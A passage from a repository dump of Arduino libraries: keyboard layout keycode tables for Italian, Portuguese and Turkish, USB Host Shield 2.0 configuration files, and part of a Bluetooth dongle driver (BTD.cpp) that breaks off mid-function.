   0x24,          // `
   0x14,          // a
   0x05,          // b
   0x06,          // c
   0x07,          // d
   0x08,          // e
   0x09,          // f
   0x0a,          // g
   0x0b,          // h
   0x0c,          // i
   0x0d,          // j
   0x0e,          // k
   0x0f,          // l
   0x33,          // m
   0x11,          // n
   0x12,          // o
   0x13,          // p
   0x04,          // q
   0x15,          // r
   0x16,          // s
   0x17,          // t
   0x18,          // u
   0x19,          // v
   0x1d,          // w
   0x1b,          // x
   0x1c,          // y
   0x1a,          // z
   0x21,    // {
   0x23,    // |
   0x2e,    // }
   0x1f,    // ~
   0        // DEL
};
#endif


================================================
FILE: libraries/Keyboard/src/it_it.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
const uint8_t _asciimap[256] =
{
  0x00,             // NUL
  0x00,             // SOH
  0x00,             // STX
  0x00,             // ETX
  0x00,             // EOT
  0x00,             // ENQ
  0x00,             // ACK  
  0x00,             // BEL
  0x2a,     // BS Backspace
  0x2b,     // TAB  Tab
  0x28,     // LF Enter
  0x00,             // VT 
  0x00,             // FF 
  0x00,             // CR 
  0x00,             // SO 
  0x00,             // SI 
  0x00,             // DEL
  0x00,             // DC1
  0x00,             // DC2
  0x00,             // DC3
  0x00,             // DC4
  0x00,             // NAK
  0x00,             // SYN
  0x00,             // ETB
  0x00,             // CAN
  0x00,             // EM 
  0x00,             // SUB
  0x00,             // ESC
  0x00,             // FS 
  0x00,             // GS 
  0x00,             // RS 
  0x00,             // US 

  0x2c,          //  ' '
  0x1e|SHIFT,    // !
  0x1f|SHIFT,    // "
  0x34,          // #
  0x21|SHIFT,    // $
  0x22|SHIFT,    // %
  0x23|SHIFT,    // &
  0x2d,          // '
  0x25|SHIFT,    // (
  0x26|SHIFT,    // )
  0x30|SHIFT,    // *
  0x30,          // +
  0x36,          // ,
  0x38,          // -
  0x37,          // .
  0x24|SHIFT,    // /
  0x27,          // 0
  0x1e,          // 1
  0x1f,          // 2
  0x20,          // 3
  0x21,          // 4
  0x22,          // 5
  0x23,          // 6
  0x24,          // 7
  0x25,          // 8
  0x26,          // 9
  0x37|SHIFT,    // :
  0x36|SHIFT,    // ;
  0x64,          // <
  0x27|SHIFT,      // =
  0x64|SHIFT,      // >
  0x2d|SHIFT,      // ?
  0x33,            // @
  0x04|SHIFT,      // A
  0x05|SHIFT,      // B
  0x06|SHIFT,      // C
  0x07|SHIFT,      // D
  0x08|SHIFT,      // E
  0x09|SHIFT,      // F
  0x0a|SHIFT,      // G
  0x0b|SHIFT,      // H
  0x0c|SHIFT,      // I
  0x0d|SHIFT,      // J
  0x0e|SHIFT,      // K
  0x0f|SHIFT,      // L
  0x10|SHIFT,      // M
  0x11|SHIFT,      // N
  0x12|SHIFT,      // O
  0x13|SHIFT,      // P
  0x14|SHIFT,      // Q
  0x15|SHIFT,      // R
  0x16|SHIFT,      // S
  0x17|SHIFT,      // T
  0x18|SHIFT,      // U
  0x19|SHIFT,      // V
  0x1a|SHIFT,      // W
  0x1b|SHIFT,      // X
  0x1c|SHIFT,      // Y
  0x1d|SHIFT,      // Z
  0x2f,          // [
  0x35,          // bslash
  0x30,          // ]
  0x2e|SHIFT,    // ^
  0x38|SHIFT,    // _
  0x39,          // `
  0x04,          // a
  0x05,          // b
  0x06,          // c
  0x07,          // d
  0x08,          // e
  0x09,          // f
  0x0a,          // g
  0x0b,          // h
  0x0c,          // i
  0x0d,          // j
  0x0e,          // k
  0x0f,          // l
  0x10,          // m
  0x11,          // n
  0x12,          // o
  0x13,          // p
  0x14,          // q
  0x15,          // r
  0x16,          // s
  0x17,          // t
  0x18,          // u
  0x19,          // v
  0x1a,          // w
  0x1b,          // x
  0x1c,          // y
  0x1d,          // z
  0x2f|SHIFT,    // {
  0x35|SHIFT,    // |
  0x30|SHIFT,    // }
  0x34,    // ~
  0       // DEL
};
#endif


================================================
FILE: libraries/Keyboard/src/pt_pt.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
const uint8_t _asciimap[256] =
{
  0x00,             // NUL
  0x00,             // SOH
  0x00,             // STX
  0x00,             // ETX
  0x00,             // EOT
  0x00,             // ENQ
  0x00,             // ACK
  0x00,             // BEL
  0x2a,      // BS  Backspace
  0x2b,      // TAB  Tab
  0x28,      // LF  Enter
  0x00,             // VT
  0x00,             // FF
  0x00,             // CR
  0x00,             // SO
  0x00,             // SI
  0x00,             // DEL
  0x00,             // DC1
  0x00,             // DC2
  0x00,             // DC3
  0x00,             // DC4
  0x00,             // NAK
  0x00,             // SYN
  0x00,             // ETB
  0x00,             // CAN
  0x00,             // EM
  0x00,             // SUB
  0x00,             // ESC
  0x00,             // FS
  0x00,             // GS
  0x00,             // RS
  0x00,             // US
  0x2c,       //  ' '
  0x1e|SHIFT,    // !
  0x1f|SHIFT,    // "
  0x20|SHIFT,    // #
  0x21|SHIFT,    // $
  0x22|SHIFT,    // %
  0x23|SHIFT,    // &
  0x2d,          // '
  0x25|SHIFT,    // (
  0x26|SHIFT,    // )
  0x2f|SHIFT,    // *
  0x2f,          // +
  0x36,          // ,
  0x38,          // -
  0x37,          // .
  0x24|SHIFT,    // /
  0x27,          // 0
  0x1e,          // 1
  0x1f,          // 2
  0x20,          // 3
  0x21,          // 4
  0x22,          // 5
  0x23,          // 6
  0x24,          // 7
  0x25,          // 8
  0x26,          // 9
  0x37|SHIFT,    // :
  0x36|SHIFT,    // ;
  0x64,          // <
  0x27|SHIFT,    // =
  0x64|SHIFT,      // >
  0x2d|SHIFT,      // ?
  0x1f,            // @
  0x04|SHIFT,      // A
  0x05|SHIFT,      // B
  0x06|SHIFT,      // C
  0x07|SHIFT,      // D
  0x08|SHIFT,      // E
  0x09|SHIFT,      // F
  0x0a|SHIFT,      // G
  0x0b|SHIFT,      // H
  0x0c|SHIFT,      // I
  0x0d|SHIFT,      // J
  0x0e|SHIFT,      // K
  0x0f|SHIFT,      // L
  0x10|SHIFT,      // M
  0x11|SHIFT,      // N
  0x12|SHIFT,      // O
  0x13|SHIFT,      // P
  0x14|SHIFT,      // Q
  0x15|SHIFT,      // R
  0x16|SHIFT,      // S
  0x17|SHIFT,      // T
  0x18|SHIFT,      // U
  0x19|SHIFT,      // V
  0x1a|SHIFT,      // W
  0x1b|SHIFT,      // X
  0x1c|SHIFT,      // Y
  0x1d|SHIFT,      // Z
  0x25,          // [
  0x35,          // bslash
  0x26,          // ]
  0x31|SHIFT,    // ^
  0x38|SHIFT,    // _
  0x30|SHIFT,    // `
  0x04,          // a
  0x05,          // b
  0x06,          // c
  0x07,          // d
  0x08,          // e
  0x09,          // f
  0x0a,          // g
  0x0b,          // h
  0x0c,          // i
  0x0d,          // j
  0x0e,          // k
  0x0f,          // l
  0x10,          // m
  0x11,          // n
  0x12,          // o
  0x13,          // p
  0x14,          // q
  0x15,          // r
  0x16,          // s
  0x17,          // t
  0x18,          // u
  0x19,          // v
  0x1a,          // w
  0x1b,          // x
  0x1c,          // y
  0x1d,          // z
  0x24,          // {
  0x35|SHIFT,    // |
  0x27,          // }
  0x31,          // ~
  0        // DEL
};
#endif


================================================
FILE: libraries/Keyboard/src/tr_tr.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
const uint8_t _asciimap[256] =
{
  0x00,             // NUL
  0x00,             // SOH
  0x00,             // STX
  0x00,             // ETX
  0x00,             // EOT
  0x00,             // ENQ
  0x00,             // ACK
  0x00,             // BEL
  0x2a,      // BS  Backspace
  0x2b,      // TAB  Tab
  0x28,      // LF  Enter
  0x00,             // VT
  0x00,             // FF
  0x00,             // CR
  0x00,             // SO
  0x00,             // SI
  0x00,             // DEL
  0x00,             // DC1
  0x00,             // DC2
  0x00,             // DC3
  0x00,             // DC4
  0x00,             // NAK
  0x00,             // SYN
  0x00,             // ETB
  0x00,             // CAN
  0x00,             // EM
  0x00,             // SUB
  0x00,             // ESC
  0x00,             // FS
  0x00,             // GS
  0x00,             // RS
  0x00,             // US

  0x2c,          //  ' '
  0x1e|SHIFT,    // !
  0x35,          // "
  0x20,          // #
  0x21,          // $
  0x22|SHIFT,    // %
  0x23|SHIFT,    // &
  0x1f|SHIFT,    // '
  0x25|SHIFT,    // (
  0x26|SHIFT,    // )
  0x2d,          // *
  0x21|SHIFT,    // +
  0x31,          // ,
  0x2e,          // -
  0x38,          // .
  0x24|SHIFT,    // /
  0x27,          // 0
  0x1e,          // 1
  0x1f,          // 2
  0x20,          // 3
  0x21,          // 4
  0x22,          // 5
  0x23,          // 6
  0x24,          // 7
  0x25,          // 8
  0x26,          // 9
  0x38|SHIFT,    // :
  0x31|SHIFT,    // ;
  0x64,          // <
  0x27|SHIFT,      // =
  0x64|SHIFT,      // >
  0x2d|SHIFT,      // ?
  0x14,            // @
  0x04|SHIFT,      // A
  0x05|SHIFT,      // B
  0x06|SHIFT,      // C
  0x07|SHIFT,      // D
  0x08|SHIFT,      // E
  0x09|SHIFT,      // F
  0x0a|SHIFT,      // G
  0x0b|SHIFT,      // H
  0x0c|SHIFT,      // I
  0x0d|SHIFT,      // J
  0x0e|SHIFT,      // K
  0x0f|SHIFT,      // L
  0x10|SHIFT,      // M
  0x11|SHIFT,      // N
  0x12|SHIFT,      // O
  0x13|SHIFT,      // P
  0x14|SHIFT,      // Q
  0x15|SHIFT,      // R
  0x16|SHIFT,      // S
  0x17|SHIFT,      // T
  0x18|SHIFT,      // U
  0x19|SHIFT,      // V
  0x1a|SHIFT,      // W
  0x1b|SHIFT,      // X
  0x1c|SHIFT,      // Y
  0x1d|SHIFT,      // Z
  0x25,          // [
  0x2d,          // bslash
  0x26,          // ]
  0x20|SHIFT,    // ^
  0x2e|SHIFT,    // _
  0x35,          // ` //DOES NOT WORK
  0x04,          // a
  0x05,          // b
  0x06,          // c
  0x07,          // d
  0x08,          // e
  0x09,          // f
  0x0a,          // g
  0x0b,          // h
  0x34,          // i
  0x0d,          // j
  0x0e,          // k
  0x0f,          // l
  0x10,          // m
  0x11,          // n
  0x12,          // o
  0x13,          // p
  0x14,          // q
  0x15,          // r
  0x16,          // s
  0x17,          // t
  0x18,          // u
  0x19,          // v
  0x1a,          // w
  0x1b,          // x
  0x1c,          // y
  0x1d,          // z
  0x24,          // {
  0x64,    	 // |
  0x27,    	 // }
  0x30,    	 // ~
  0        	 // DEL
};
#endif


================================================
FILE: libraries/USB_Host_Shield_2.0/.gitattributes
================================================
# Auto detect text files and perform LF normalization
* text=auto
* text eol=lf

# Custom for Visual Studio
*.cs     diff=csharp
*.sln    merge=union
*.csproj merge=union
*.vbproj merge=union
*.fsproj merge=union
*.dbproj merge=union

# Standard to msysgit
*.doc	 diff=astextplain
*.DOC	 diff=astextplain
*.docx diff=astextplain
*.DOCX diff=astextplain
*.dot  diff=astextplain
*.DOT  diff=astextplain
*.pdf  diff=astextplain
*.PDF	 diff=astextplain
*.rtf	 diff=astextplain
*.RTF	 diff=astextplain


================================================
FILE: libraries/USB_Host_Shield_2.0/.gitignore
================================================
*.bak
*.zip
*.rar
build/

================================================
FILE: libraries/USB_Host_Shield_2.0/.gitmodules
================================================
[submodule "examples/testusbhostFAT/generic_storage"]
	path = examples/testusbhostFAT/generic_storage
	url = https://github.com/xxxajk/generic_storage
[submodule "examples/testusbhostFAT/xmem2"]
	path = examples/testusbhostFAT/xmem2
	url = https://github.com/xxxajk/xmem2
[submodule "examples/testusbhostFAT/Arduino_Makefile_master"]
	path = examples/testusbhostFAT/Arduino_Makefile_master
	url = https://github.com/xxxajk/Arduino_Makefile_master
[submodule "examples/testusbhostFAT/RTClib"]
	path = examples/testusbhostFAT/RTClib
	url = https://github.com/xxxajk/RTClib


================================================
FILE: libraries/USB_Host_Shield_2.0/.travis.yml
================================================
language: python
python:
    - "2.7"

# Cache PlatformIO packages using Travis CI container-based infrastructure
sudo: false
cache:
    directories:
        - "~/.platformio"

# Generated using: find examples -type f -name "*.ino" | rev | cut -d/ -f2- | rev | sed 's/^/    - PLATFORMIO_CI_SRC=/' > tmp.yml
env:
    - PLATFORMIO_CI_SRC=examples/acm/acm_terminal
    - PLATFORMIO_CI_SRC=examples/adk/adk_barcode
    - PLATFORMIO_CI_SRC=examples/adk/ArduinoBlinkLED
    - PLATFORMIO_CI_SRC=examples/adk/demokit_20
    - PLATFORMIO_CI_SRC=examples/adk/term_test
    - PLATFORMIO_CI_SRC=examples/adk/term_time
    - PLATFORMIO_CI_SRC=examples/Bluetooth/BTHID
    - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3BT
    - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3Multi
    - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3SPP
    - PLATFORMIO_CI_SRC=examples/Bluetooth/PS4BT
    - PLATFORMIO_CI_SRC=examples/Bluetooth/SPP
    - PLATFORMIO_CI_SRC=examples/Bluetooth/SPPMulti
    - PLATFORMIO_CI_SRC=examples/Bluetooth/Wii
    - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiBalanceBoard
    - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiIRCamera PLATFORMIO_BUILD_FLAGS="-DWIICAMERA"
    - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiMulti
    - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiUProController
    - PLATFORMIO_CI_SRC=examples/board_qc
    - PLATFORMIO_CI_SRC=examples/cdc_XR21B1411/XR_terminal
    - PLATFORMIO_CI_SRC=examples/ftdi/USBFTDILoopback
    - PLATFORMIO_CI_SRC=examples/HID/le3dp
    - PLATFORMIO_CI_SRC=examples/HID/scale
    - PLATFORMIO_CI_SRC=examples/HID/SRWS1
    - PLATFORMIO_CI_SRC=examples/HID/USBHID_desc
    - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootKbd
    - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootKbdAndMouse
    - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootMouse
    - PLATFORMIO_CI_SRC=examples/HID/USBHIDJoystick
    - PLATFORMIO_CI_SRC=examples/HID/USBHIDMultimediaKbd
    - PLATFORMIO_CI_SRC=examples/hub_demo
    - PLATFORMIO_CI_SRC=examples/max_LCD
    - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_gprs_terminal
    - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_gps
    - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_tinygps
    - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_xbee_terminal
    - PLATFORMIO_CI_SRC=examples/PS3USB
    - PLATFORMIO_CI_SRC=examples/PS4USB
    - PLATFORMIO_CI_SRC=examples/PSBuzz
    # - PLATFORMIO_CI_SRC=examples/testusbhostFAT
    - PLATFORMIO_CI_SRC=examples/USB_desc
    - PLATFORMIO_CI_SRC=examples/USBH_MIDI/bidirectional_converter
    - PLATFORMIO_CI_SRC=examples/USBH_MIDI/eVY1_sample
    - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USB_MIDI_converter
    - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USB_MIDI_converter_multi
    - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USBH_MIDI_dump
    - PLATFORMIO_CI_SRC=examples/Xbox/XBOXOLD
    - PLATFORMIO_CI_SRC=examples/Xbox/XBOXONE
    - PLATFORMIO_CI_SRC=examples/Xbox/XBOXRECV
    - PLATFORMIO_CI_SRC=examples/Xbox/XBOXUSB

install:
    - pip install -U platformio
    - export PLATFORMIO_BUILD_FLAGS="$PLATFORMIO_BUILD_FLAGS -DDEBUG_USB_HOST -Wall -Werror"

    #
    # Libraries from PlatformIO Library Registry:
    #
    # http://platformio.org/lib/show/62/MIDI
    # http://platformio.org/lib/show/416/TinyGPS
    # http://platformio.org/lib/show/417/SPI4Teensy3
    - platformio lib install 62 416 417

script:
    - platformio ci --lib="." --board=uno --board=due --board=genuino101 --board=teensy30 --board=teensy31 --board=teensy35 --board=teensy36 --board=teensylc --board=esp12e --board=nodemcu --board=esp32dev


================================================
FILE: libraries/USB_Host_Shield_2.0/BTD.cpp
================================================
/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.

 This software may be distributed and modified under the terms of the GNU
 General Public License version 2 (GPL2) as published by the Free Software
 Foundation and appearing in the file GPL2.TXT included in the packaging of
 this file. Please note that GPL2 Section 2[b] requires that all works based
 on this software must also be made publicly available under the terms of
 the GPL2 ("Copyleft").

 Contact information
 -------------------

 Kristian Lauszus, TKJ Electronics
 Web      :  http://www.tkjelectronics.com
 e-mail   :  kristianl@tkjelectronics.com
 */

#include "BTD.h"
// To enable serial debugging see "settings.h"
//#define EXTRADEBUG // Uncomment to get even more debugging data

const uint8_t BTD::BTD_CONTROL_PIPE = 0;
const uint8_t BTD::BTD_EVENT_PIPE = 1;
const uint8_t BTD::BTD_DATAIN_PIPE = 2;
const uint8_t BTD::BTD_DATAOUT_PIPE = 3;

BTD::BTD(USB *p) :
connectToWii(false),
pairWithWii(false),
connectToHIDDevice(false),
pairWithHIDDevice(false),
pUsb(p), // Pointer to USB class instance - mandatory
bAddress(0), // Device address - mandatory
bNumEP(1), // If config descriptor needs to be parsed
qNextPollTime(0), // Reset NextPollTime
pollInterval(0),
bPollEnable(false) // Don't start polling before dongle is connected
{
        for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++)
                btService[i] = NULL;

        Initialize(); // Set all variables, endpoint structs etc. to default values

        if(pUsb) // Register in USB subsystem
                pUsb->RegisterDeviceClass(this); // Set devConfig[] entry
}

uint8_t BTD::ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed) {
        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);
        uint8_t buf[constBufSize];
        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);
        uint8_t rcode;
        UsbDevice *p = NULL;
        EpInfo *oldep_ptr = NULL;

        Initialize(); // Set all variables, endpoint structs etc. to default values

        AddressPool &addrPool = pUsb->GetAddressPool(); // Get memory address of USB device address pool
#ifdef EXTRADEBUG
        Notify(PSTR("\r\nBTD ConfigureDevice"), 0x80);
#endif

        if(bAddress) { // Check if address has already been assigned to an instance
#ifdef DEBUG_USB_HOST
                Notify(PSTR("\r\nAddress in use"), 0x80);
#endif
                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;
        }

        p = addrPool.GetUsbDevicePtr(0); // Get pointer to pseudo device with address 0 assigned
        if(!p) {
#ifdef DEBUG_USB_HOST
                Notify(PSTR("\r\nAddress not found"), 0x80);
#endif
                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;
        }

        if(!p->epinfo) {
#ifdef DEBUG_USB_HOST
                Notify(PSTR("\r\nepinfo is null"), 0x80);
#endif
                return USB_ERROR_EPINFO_IS_NULL;
        }

        oldep_ptr = p->epinfo; // Save old pointer to EP_RECORD of address 0
        p->epinfo = epInfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence
        p->lowspeed = lowspeed;
        rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data

        p->epinfo = oldep_ptr; // Restore p->epinfo

        if(rcode)
                goto FailGetDevDescr;

        bAddress = addrPool.AllocAddress(parent, false, port); // Allocate new address according to device class

        if(!bAddress) {
#ifdef DEBUG_USB_HOST
                Notify(PSTR("\r\nOut of address space"), 0x80);
#endif
                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;
        }

        if (udd->bDeviceClass == 0x09) // Some dongles have an USB hub inside
                goto FailHub;

        epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Extract Max Packet Size from device descriptor
        epInfo[1].epAddr = udd->bNumConfigurations; // Steal and abuse from epInfo structure to save memory

        VID = udd->idVendor;
        PID = udd->idProduct;

        return USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET;

FailHub:
#ifdef DEBUG_USB_HOST
        Notify(PSTR("\r\nPlease create a hub instance in your code: \"USBHub Hub1(&Usb);\""), 0x80);
#endif
        pUsb->setAddr(bAddress, 0, 0); // Reset address
        rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;
        Release();
        return rcode;

FailGetDevDescr:
#ifdef DEBUG_USB_HOST
        NotifyFailGetDevDescr(rcode);
#endif
        if(rcode != hrJERR)
                rcode = USB_ERROR_FailGetDevDescr;
        Release();
        return rcode;
};

uint8_t BTD::Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed) {
        uint8_t rcode;
        uint8_t num_of_conf = epInfo[1].epAddr; // Number of configurations
        epInfo[1].epAddr = 0;

        AddressPool &addrPool = pUsb->GetAddressPool();
#ifdef EXTRADEBUG
        Notify(PSTR("\r\nBTD Init"), 0x80);
#endif
        UsbDevice *p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record

        if(!p) {
#ifdef DEBUG_USB_HOST
                Notify(PSTR("\r\nAddress not found"), 0x80);
#endif
                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;
        }

        delay(300); // Assign new address to the device

        rcode = pUsb->setAddr(0, 0, bAddress); // Assign new address to the device
        if(rcode) {
#ifdef DEBUG_USB_HOST
                Notify(PSTR("\r\nsetAddr: "), 0x80);
                D_PrintHex<uint8_t > (rcode, 0x80);
#endif
                p->lowspeed = false;
                goto Fail;
        }
#ifdef EXTRADEBUG
        Notify(PSTR("\r\nAddr: "), 0x80);
        D_PrintHex<uint8_t > (bAddress, 0x80);
#endif

        p->lowspeed = false;

        p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record
        if(!p) {
#ifdef DEBUG_USB_HOST
                Notify(PSTR("\r\nAddress not found"), 0x80);
#endif
                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;
        }

        p->lowspeed = lowspeed;

        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); // Assign epInfo to epinfo pointer - only EP0 is known
        if(rcode)
                goto FailSetDevTblEntry;

        if(VID == PS3_VID && (PID == PS3_PID || PID == PS3NAVIGATION_PID || PID == PS3MOVE_PID)) {
                delay(100);
                rcode = pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, 1); // We only need the Control endpoint, so we don't have to initialize the other endpoints of device
                if(rcode)
                        goto FailSetConfDescr;

#ifdef DEBUG_USB_HOST
                if(PID == PS3_PID || PID == PS3NAVIGATION_PID) {
                        if(PID == PS3_PID)
                                Notify(PSTR("\r\nDualshock 3 Controller Connected"), 0x80);
                        else // It must be a navigation controller
                                Notify(PSTR("\r\nNavigation Controller Connected"), 0x80);
                } else // It must be a Motion controller
                        Notify(PSTR("\r\nMotion Controller Connected"), 0x80);
#endif

                if(my_bdaddr[0] == 0x00 && my_bdaddr[1] == 0x00 && my_bdaddr[2] == 0x00 && my_bdaddr[3] == 0x00 && my_bdaddr[4] == 0x00 && my_bdaddr[5] == 0x00) {
#ifdef DEBUG_USB_HOST
                        Notify(PSTR("\r\nPlease plug in the dongle before trying to pair with the PS3 Controller\r\nor set the Bluetooth address in the constructor of the PS3BT class"), 0x80);
#endif
                } else {
                        if(PID == PS3_PID || PID == PS3NAVIGATION_PID)
                                setBdaddr(my_bdaddr); // Set internal Bluetooth address
                        else
                                setMoveBdaddr(my_bdaddr); // Set internal Bluetooth address
#ifdef DEBUG_USB_HOST
                        Notify(PSTR("\r\nBluetooth Address was set to: "), 0x80);
                        for(int8_t i = 5; i > 0; i--) {
                                D_PrintHex<uint8_t > (my_bdaddr[i], 0x80);
                                Notify(PSTR(":"), 0x80);
                        }
                        D_PrintHex<uint8_t > (my_bdaddr[0], 0x80);
#endif
                }

                pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, 0); // Reset configuration value
                pUsb->setAddr(bAddress, 0, 0); // Reset address
                Release(); // Release device
                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Return
        } else {
                // Check if attached device is a Bluetooth dongle and fill endpoint data structure
                // First interface in the configuration must have Bluetooth assigned Class/Subclass/Protocol
                // And 3 endpoints - interrupt-IN, bulk-IN, bulk-OUT, not necessarily in this order
                for(uint8_t i = 0; i < num_of_conf; i++) {
                        if((VID == IOGEAR_GBU521_VID && PID == IOGEAR_GBU521_PID) || (VID == BELKIN_F8T065BF_VID && PID == BELKIN_F8T065BF_PID)) {
                                ConfigDescParser<USB_CLASS_VENDOR_SPECIFIC, WI_SUBCLASS_RF, WI_PROTOCOL_BT, CP_MASK_COMPARE_ALL> confDescrParser(this); // Workaround issue with some dongles
                                rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);
                        } else {
                                ConfigDescParser<USB_CLASS_WIRELESS_CTRL, WI_SUBCLASS_RF, WI_PROTOCOL_BT, CP_MASK_COMPARE_ALL> confDescrParser(this); // Set class id according to the specification
                                rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);
                        }
                        if(rcode) // Check error code
                                goto FailGetConfDescr;
                        if(bNumEP >= BTD_MAX_ENDPOINTS) // All endpoints extracted
                                break;
                }

                if(bNumEP < BTD_MAX_ENDPOINTS)
                        goto FailUnknownDevice;

                // Assign epInfo to epinfo pointer - this time all 3 endpoins
                rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);
                if(rcode)
                        goto FailSetDevTblEntry;

                // Set Configuration Value
                rcode = pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, bConfNum);
                if(rcode)
                        goto FailSetConfDescr;

                hci_num_reset_loops = 100; // only loop 100 times before trying to send the hci reset command
                hci_counter = 0;
                hci_state = HCI_INIT_STATE;
                waitingForConnection = false;
                bPollEnable = true;

#ifdef DEBUG_USB_HOST
                Notify(PSTR("\r\nBluetooth Dongle Initialized"), 0x80);
#endif
        }
        return 0; // Successful configuration

        /* Diagnostic messages */
FailSetDevTblEntry:
#ifdef DEBUG_USB_HOST
        NotifyFailSetDevTblEntry();
        goto Fail;
#endif

FailGetConfDescr:
#ifdef DEBUG_USB_HOST
        NotifyFailGetConfDescr();
        goto Fail;
#endif

FailSetConfDescr:
#ifdef DEBUG_USB_HOST
        NotifyFailSetConfDescr();
#endif
        goto Fail;

FailUnknownDevice:
#ifdef DEBUG_USB_HOST
        NotifyFailUnknownDevice(VID, PID);
#endif
        pUsb->setAddr(bAddress, 0, 0); // Reset address
        rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;
Fail:
#ifdef DEBUG_USB_HOST
        Notify(PSTR("\r\nBTD Init Failed, error code: "), 0x80);
        NotifyFail(rcode);
#endif
        Release();
        return rcode;
}

void BTD::Initialize() {
        uint8_t i;
        for(i = 0; i < BTD_MAX_ENDPOINTS; i++) {
                epInfo[i].epAddr = 0;
                epInfo[i].maxPktSize = (i) ? 0 : 8;
                epInfo[i].bmSndToggle = 0;
                epInfo[i].bmRcvToggle = 0;
                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;
        }
        for(i = 0; i < BTD_NUM_SERVICES; i++) {
                if(btService[i])
                        btService[i]->Reset(); // Reset all Bluetooth services
        }

        connectToWii = false;
        incomingWii = false;
        connectToHIDDevice = false;
        incomingHIDDevice = false;
        incomingPS4 = false;
        bAddress = 0; // Clear device address
        bNumEP = 1; // Must have to be reset to 1
        qNextPollTime = 0; // Reset next poll time
        pollInterval = 0;
        bPollEnable = false; // Don't start polling before dongle is connected
}

/* Extracts interrupt-IN, bulk-IN, bulk-OUT endpoint information from config descriptor */
void BTD::EndpointXtract(uint8_t conf, uint8_t iface __attribute__((unused)), uint8_t alt, uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *pep) {
        //ErrorMessage<uint8_t>(PSTR("Conf.Val"),conf);
        //ErrorMessage<uint8_t>(PSTR("Iface Num"),iface);
        //ErrorMessage<uint8_t>(PSTR("Alt.Set"),alt);

        if(alt) // Wrong interface - by BT spec, no alt setting
                return;

        bConfNum = conf;
        uint8_t index;

        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80) { // Interrupt In endpoint found
                index = BTD_EVENT_PIPE;
                epInfo[index].bmNakPower = USB_NAK_NOWAIT;
        } else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) // Bulk endpoint found
                index = ((pep->bEndpointAddress & 0x80) == 0x80) ? BTD_DATAIN_PIPE : BTD_DATAOUT_PIPE;
        else
            return;

        // Fill the rest of endpoint data structure
        epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F);
        epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize;
#ifdef EXTRADEBUG
        PrintEndpointDescriptor(pep);
#endif
        if(pollInterval < pep->bInterval) // Set the polling interval as the largest polling interval obtained from endpoints
                pollInterval = pep->bInterval;
        bNumEP++;
}

void BTD::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr __attribute__((unused))) {
#ifdef EXTRADEBUG
        Notify(PSTR("\r\nEndpoint descriptor:"), 0x80);
        Notify(PSTR("\r\nLength:\t\t"), 0x80);
        D_PrintHex<uint8_t > (ep_ptr->bLength, 0x80);
        Notify(PSTR("\r\nType:\t\t"), 0x80);
        D_PrintHex<uint8_t > (ep_ptr->bDescriptorType, 0x80);
        Notify(PSTR("\r\nAddress:\t"), 0x80);
        D_PrintHex<uint8_t > (ep_ptr->bEndpointAddress, 0x80);
        Notify(PSTR("\r\nAttributes:\t"), 0x80);
